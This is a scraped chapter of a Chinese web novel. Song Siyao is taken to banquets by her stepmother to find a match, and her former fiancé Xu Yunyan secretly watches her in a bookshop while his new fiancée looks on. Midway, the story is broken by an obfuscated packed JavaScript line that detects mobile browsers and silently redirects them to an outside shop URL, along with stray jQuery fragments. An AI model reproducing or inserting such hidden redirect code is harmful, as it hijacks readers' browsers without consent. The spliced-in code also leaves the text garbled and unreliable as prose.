文趣网 > 其他小说 > 我妻司遥(重生) > 19. 第十九章
    自那日在正堂前和谢氏谈话之后,这些日里,谢氏就不断致力于此厢,似是恨不得尽快将她嫁出去。

    和她的表姐谢雨凝一般,她跟着谢氏参加了不下十余场的宴席,参加的每一场宴席,前前后后宋司遥都要配合着府上。

    参加宴席之前,她需好生记下此厢宴会时,必要记下的各路人际关系,各种繁文礼节,虽也有谢氏,还有侍女镜儿也要从旁提醒,但她若能多记下自是最好不过。

    更不要说,参加宴席的当日,她还需大早上就要起身,细心梳妆打扮,抹粉着装。

    数场宴席下来,闲散悠哉了数月时光的宋司遥,只觉浑身精疲力尽。

    宋司遥深知此厢去参加那些宴席的目的,不久前,谢雨凝也是通过此法寻得的人家,谢氏依法重复,想也如此这般替她寻得。

    直到过了端午之后,天热了起来,府上收到的各种请帖才慢慢少了下去。

    到了这会儿,宋司遥才落得空闲,终于可以不用配合着谢氏,四处参宴。

    就在宋司遥为此感到庆幸之时,此时此刻正堂之中,端坐在太师椅上的谢氏,她的脸色绝对称不上为好看。

    “究竟是怎么回事?”

    谢氏攥手说道,“参加了这么多场的宴席,竟没能寻得一个合适的……不提那些门当户对的,一开始我就心中有数,她们不可能挑中那丫头为媳,可那些门第低些,家境差些的人家,竟也没有一个……”

    “对那丫头,我确实也没多喜欢,可是不管怎样,她也是在宋府,在我膝下长大的姑娘,生得亦算不错,她便是左手有患,可也不多影响生活……再如何,也不该一个看中她的人都没有?”

    “夫人,您别着急,或许是小姐的正缘还未来,或许过些时日,说来就来了呢?”见着谢氏眉头紧锁的模样,跟前侍候的嬷嬷柔声劝解道。

    听了这话,谢氏脸上不愉的神色稍微收了几分,“是啊,也才过去一个多月。”女人低声喃喃,似是觉得嬷嬷说的在理,又似是在安抚着自己。

    接着,谢氏似又想到什么,只听她缓缓说道,“只是你说的那个正缘,光等待是不成的,近些时日要参加的宴席是没了,恰好空出了些日子,我寻摸着,找个合适日子带上那丫头到寺院去好好拜拜,再求求姻缘。”

    “夫人待小姐,真真够不错了。”嬷嬷在一旁轻声说道。

    “嬷嬷,你当我是为她呢?还不是为了穆哥儿,我可不想将来听到任何能损害穆儿的话语,当年的那事,终究还是办的不够好。”

    想起数年前那丫头被救回后,她将将清醒过来看向她的眼神,即便多年过去,谢氏心里一直都存着种说不出的抵触和厌烦。

    又不是她的亲生女儿,竟让她用那种眼神打量于自己,就好似谢氏对她做了多大伤天害理的事一般。

    当初救了侄女谢雨凝之后,她又不是直接甩手不管她了,事后她也是派了人,不过是晚了一步。

    没办法,这就都是她的命。

    ……

    行人如织的姑苏长街上,两个少女经过拱桥时,侍女镜儿笑看着走在她前面的小姐,出声问道。

    “小姐,你不是说前些日子累了身子,要在罗汉床上好好躺上几日吗?”

    “不是有句话叫做计划赶不上变化吗?况且,好不容易有了些自在的时光,只是在厢房里独自静静待着,想想也太过浪费了不是。”听了这话,宋司遥一边脚步轻盈的往前慢走,一边语气颇为有理的回道。

    “小姐乘着车马也是一样能看热闹啊,您这样自己走着,脚不累吗?”镜儿跟在宋司遥的身侧,轻声细语的提出了她的建议。

    “好了,我的好镜儿,你仔细瞧瞧你家小姐,像是会累着自己的模样吗?”听了镜儿的话,宋司遥耐心的解释着道。

    前些日子她觉得累,不仅仅是觉着身子累,同样还有心累,参加的那一场场宴席,并不是她有多喜欢,而是因为不得不去。

    跟着那些夫人们,小姐们打各种交道,注意各种的礼节,还有人情世故,在那种情形下,宋司遥她哪儿还能真正高兴的来。

    但此刻却不同,这会儿的时光都是专属于她的,她想做什么便做什么,想怎么笑就怎么笑,这种不受拘束的感觉,怎能是前些日子那些场合所能比拟的。

    “镜儿,你要是觉得累了,你可以同我说一声。”想到什么,宋司遥就直接开口问道。

    “没有,小姐想多了,小姐都不觉得累,奴婢怎么会觉得累呢?”听到这话,侍女镜儿轻声说道。

    拱桥这边,宋司遥主仆俩人轻声说谈着话。

    离此处不远的一间酒楼里,二楼隔窗前,立着几位衣衫华美的年轻少女,其间一人骤然从楼下看到了什么,她微微惊讶,同时喜笑颜开的轻唤着身边的伙伴们一道过来看。

    她发现的人,其实就是站在拱桥上的宋司遥,而她唤来的这群伙伴里,其中有个姑娘就是最近才同许家结亲的郑雅郑小姐。

    “真不知她从哪儿来的底气,自个什么身份不清楚吗?还四处参加宴席,各处同人结交,有什么用呢,还不是没一人能看的中她。”说话的年轻少女,口吻里带着显然易见的不屑。

    话音才将落下,雅间里的另一个年轻女子,紧接着她的话缓缓说道,“是啊,我可没她那个胆量,一个伤了名誉,又伤了手的女子,她怎么敢的,我若是她呀,早找个地方躲起来了,哪儿还敢跟着家里人到处露脸。”

    “但也是没了法子的事,她前些日子不是丢了和许家的亲事吗?她如今也是到了年岁,若不多出府见一见人,哪儿能寻到一门适合的亲事呢……”

    这话一出,雅间中这会儿突然有人想起,“许家前些日子又定下了一门亲。”

    正说这话的少女,她缓步走到郑雅的身边,笑着说道,“是郑雅姐姐吧。”

    “当真吗?”听到这话,雅间里的其他几个年轻姑娘们,视线集中在了郑雅身上。

    郑雅抬眼看身边小姐们将她围成了一圈,她轻垂了垂眼眸,微红了脸颊道,“是的。”

    “这样大的事,你怎么也不早些同我们说说呢?”站在身边的一年轻姑娘,她语气带着几分嗔怪道。

    “是前不久才定下的,我……”

    “好了好了,咱们这些人就不要再难为她了,之前,咱们还为许云砚觉着惋惜,如今许家能同郑家结亲,真是再好不过。”

    “是啊,那许云砚咱们多是见过的,多好的一个人啊,不管是品行,还是容貌,在姑苏一众公子当中,样样都排在前列,这样好的一个人,当我听闻他的未婚妻是那位时,我心里可真是替他不值,如今倒是好了。”

    在姑苏境内,存有她这般想法的人,不在少数。

    那宋司遥,她们也是知道的,而且还不是那种一听即忘的人,她幼时遭逢劫匪一事,宋家再怎么想掩藏,也都掩藏不了这个已发生过的事实,一夜未归,也就是那会儿的宋司遥还是个八岁的小女孩,否则她如何也很难在姑苏城里继续待下去。

    可到底还是彻夜未归,便只还是个小女孩,宋司遥的名誉多少都还是会受些影响,便是不提此厢,她受伤难以痊愈的左手,就是一处难以避及的缺陷。

    她们这些人,自小都是接受着女训女戒的规训长大,出门在外,言行举止,处处都要做的挑不出丝毫差错出来。

    而像宋司遥这样的人,她曾历经过那样的事,甚至身子还是有些残缺的人……

    跟着家里人参加宴席,一回两回的,倒也罢了,也不知她是从何而来的底气,竟敢时常跟着谢氏四处参加各种宴席,在各种场合里肆意露脸。

    “许云砚和郑雅在一起,这才称得上是郎才女貌,门当户对,至于那位,早就该要好好认清自个的身份,以她那样的条件,别说许家了,便是再差些的人家,约莫都是不大满意她的。”

    “咱们今日好不易约在一道,就不提这等不相关之人了,省得为她浪费了时光。”

    说罢,众小姐们的话题一转,又开始说谈起了旁的事情。

    她们今日聚在一起,原本想谈论的人,是李宛,李大人的女儿,同她最后一回见面,还是数月之前的上元节。

    在那时,她们的身份还都大差不差,都是姑苏城的官员之女,那李宛的父亲的官阶也并未有多高。

    可如今呢,时移世易,那李宛已经成了七皇子的未婚妻,一下攀上了这样的高枝,不论是李宛,还是她身后的家族,也都因着这门姻亲关系跟着水涨船高。

    就在她们围案而坐,感叹着人与人的际遇如此不同时,站在拱桥边的宋司遥,这会儿已经走到此酒楼斜对面的一间书肆之中。

    桌案前,众多小姐们的专注点都放在了李宛身上,唯有郑雅,她心里还在意着那宋司遥。

    趁着她们说谈至尽兴之际,郑雅视线悄悄的朝窗外方向瞥去,她心里很清楚,许云砚同宋司遥已经退了亲事,他们俩人早已没了关系。

    可自她与许云砚定下亲事之后,郑雅心里就莫名很在意此事。

    只是,此刻这种场合里,她不大想在她们的跟前表现出来。

    ……

    书肆中,看到走进来店内的年轻女子,伙计很快脸上带笑的热情迎了上来。

    “这位小姐,不知您需要些什么?书肆里的书籍很多,您若需要什么,可以同我说一声,或也可以自己随意走一走,看一看。”

    “这里有没有游记,还有各类的话本子吗?”听到这话,宋司遥犹豫了下,随后她才出声问道。

    “小姐您请跟着我来,这一排的书架之上,还有您旁侧发那列书架上,许有小姐您想要的游记和话本。”年轻伙计闻言后,就领着宋司遥来到了某处书架前。

    “小姐,您若不着急,您可以自己先挑挑,我就不在此处打扰小姐了。”

    听得这话,宋司遥轻应了声,“好。”

    说罢,穿着褐色衣衫的伙计就转身走了开,宋司遥站在书架前,她微微抬起眼,目光落在那一本本的书籍上。

    此间书肆称不上多大,但店内的陈设,还有书架上一层层摆放的书籍,都搁置的整整齐齐,令人看着就觉心情舒畅。

    今日日头微烈,淡金色的日光透过窗棂静静铺陈在地面上,站在背光处的少女,她目光只专注的看着木架上的书籍。

    书肆中的伙计迎来送往,客人们进进出出,宋司遥挑好了几本书籍,端坐在一处桌案前。

    此刻的她,身心皆都沉浸在话本子之中,她丝毫没有察觉到,有一数月未见的男子也走进了此间书肆之中。

    这男子,正是许云砚。

    “许公子,还是按着老规矩?”掌柜的看见来人,他亲自上前招待。

    许云砚是姑苏许多书肆的老客了,来的次数多了,都知道他什么习惯,掌柜的依着从前的惯例恭声问道。

    听得这话之后,许云砚只轻轻点了下头。

    接下来,掌柜的就没再继续出声询问,同时也叫新来的伙计注意着些,不要去打扰了这位常客。

    许云砚今日休沐,若在平时,他应是待在府上书房之中读书,只是今晨去正堂拜见母亲时,他正听着母亲和身边嬷嬷说谈着郑家的那位姑娘……

    听到她们说谈的对象,是一个他不多熟悉的年轻女子时,许云砚说不上是什么感觉,但终归静不下心来去看书了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886328|212549||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    因而,他这才出了府,想着在姑苏城中四处走走,逛逛,或许散了心之后,就不会将心神再放在这上面了。

    许云砚就这样劝解着自己,可让他没想到的是,就在他收回心神,迈步缓缓穿过那一排排书架之后,竟让他瞥到了一道再熟悉不过的身影。

    他原以为,自己是个颇为理性之人,不过就是一门亲事罢了,不会影响他许久。

    况且,宋司遥也并不是个多么理想的对象,那些人不都说,以宋司遥的身份,是配不上他的么?

    许云砚一回回的,都凭借这个理由,来一次次的说服着自己。

    自那回之后,他和宋司遥又是数月未再见面,许云砚以为,她不会再对他产生任何的影响了,可此时此刻,只是看着她的那道身影,许云砚就知道,从前的那些自以为是,不过都是在自欺欺人罢了!

    宋司遥对他造成的影响,比他自己所以为的还要深上许多。

    想到此处,许云砚不禁开始暗暗自嘲,从前他一直以为,是宋司遥半分离不得自己,但事实上,却是他将自己看得太重。

    可他也有他自己的骄傲和自尊,便是明白自己有多在意宋司遥,许云砚也不可能在她眼前表现出来。

    他又轻轻上前几步,抬眼静凝着前方的那道身影,不由想着,或还是他们相识的时日太久,待后面他离开了姑苏,去往了别处,光阴久了,他自然便会将她人渐渐忘去,直至她对他再无丝毫影响。

    就在许云砚心中做下如此安排之时,他敛下眼眸,收回目视前方的那道视线,接着便转身离开了书肆。

    许云砚从书肆离开的身影,斜对面二楼雅间的郑雅看到了。

    不久前,他进去书肆时,她其实也瞧着了。

    只是书肆离的太近,她不想让身边的小姐们有所察觉,所以,她才忍着性子,没有径自离开此处。

    她就安静的坐在雅间的桌案前,听到有人说起什么有趣的内容时,她面上带上艳艳的笑意,似注意力都放在小姐们说谈的话语之中。

    但实则,她的心思,在许云砚走进书肆之后,全都跟着飞了出去。

    若只是许云砚一人去了那间书肆,倒也没什么,可就在不久之前,那个宋司遥才进去了书肆里,许云砚紧跟在后面就进去了那间书肆之中。

    到底是巧合呢,还是他们提前做好的约定呢?

    郑雅什么也不知道。

    她多想立刻马上奔赴到楼下的那间书肆之中,可是她不能,身边小姐们才刚还为她与许家定亲之事庆贺,她怎么能在这时做出那般冲动的事儿。

    值得庆幸的是,书肆那扇支开的隔窗,隔着那扇窗,她隐约可以看到里间的陈设和景致。

    一道穿着淡蓝衫裙的年轻女子,就坐在雕花隔窗一侧,郑雅看不清那女子的五官和身形,但她还记得,宋家那位小姐今日穿的就是一身淡蓝色的衣裙,而且似书肆这种场所,很少时间会有女子踏足,她想那坐在窗旁的那个少女,想必就是宋司遥无疑。

    而瞧她的举止,应是坐在案前翻阅着什么,一直没见到她身边出现旁的什么人。

    就在她稍感庆幸,许云砚同那位并不是提前做好约定时,那个青年忽然就出现在了她的视野之中。

    他站在书肆的那个位置,在看的是谁,郑雅不傻,她心里很清楚。

    只是,许云砚他同宋司遥不是已经退亲了吗?他为什么要用那样的目光凝视着对方。

    由始至终,许云砚都没有上前去同宋家小姐说什么,宋司遥同样也不知,许云砚曾这样出现过在她的身后。

    过了不多久,郑雅就看着许云砚从书肆之中走了出来,从头到尾,他们俩人都没有过任何交流。

    看到这一幕,她应当感到高兴的呀,可不知为什么,郑雅心中却一分欢喜也无。

    许云砚虽没同宋家小姐说过一句话,可是,他在书肆里暗暗看向她的那道目光,似是根刺般,扎的让人觉得很难受。

    “雅儿放心,许云砚是个品行端方的君子……至于宋家的那位小姐,他一直将对方视为妹妹,所以你就更不必担心。”想起不久前母亲同她的这番说谈,郑雅不禁开始怀疑,母亲同她说的都是真的吗?

    许云砚对那位宋家小姐当真没有半分情意……

    郑雅虽没有经历过情爱之事,可是,不久前许云砚看向宋家小姐的那道目光,如何也不像是哥哥看向妹妹一般。

    “郑雅,你怎么了?”身边人的唤声,将她从思绪中拉回。

    看着她脸色似有些不好,有人关心问道,“郑雅,你是不是身子有什么不舒服?”

    听得这话,郑雅强笑了下,随后轻声解释道,“没什么不舒服的,就是突然觉得有些累,可能是昨晚没有睡好的缘故吧。”

    “我瞧你的脸色不大好看,你要觉得不舒服,还是不要硬撑着勉强自己,你最好还是早些寻个大夫看一看。”

    “好,都怪自个身子不争气,让你们都担心了。”郑雅抿了抿唇,浅笑着说道。

    ……

    宋司遥从书肆中走出来时候,已经是一个多时辰之后了。

    这一个时辰里,除了伏案太久,看得脖子有些酸痛之外,她过得真是再快活不过。

    这种沉浸在自己世界,不受外界一点拘束的感觉,真是会让人上瘾。

    宋司遥按着时辰交付了掌柜翻阅话本子的租金,后面就从书肆走出。

    只是才将从书肆里走出,就让她遇上一个意想不到的人,好些日子没见过了,若不是此刻突然出现在她的眼前,她真都快忘了还有沈翊这个人。

    但更让她想不到的,是他接下来要同她说的话。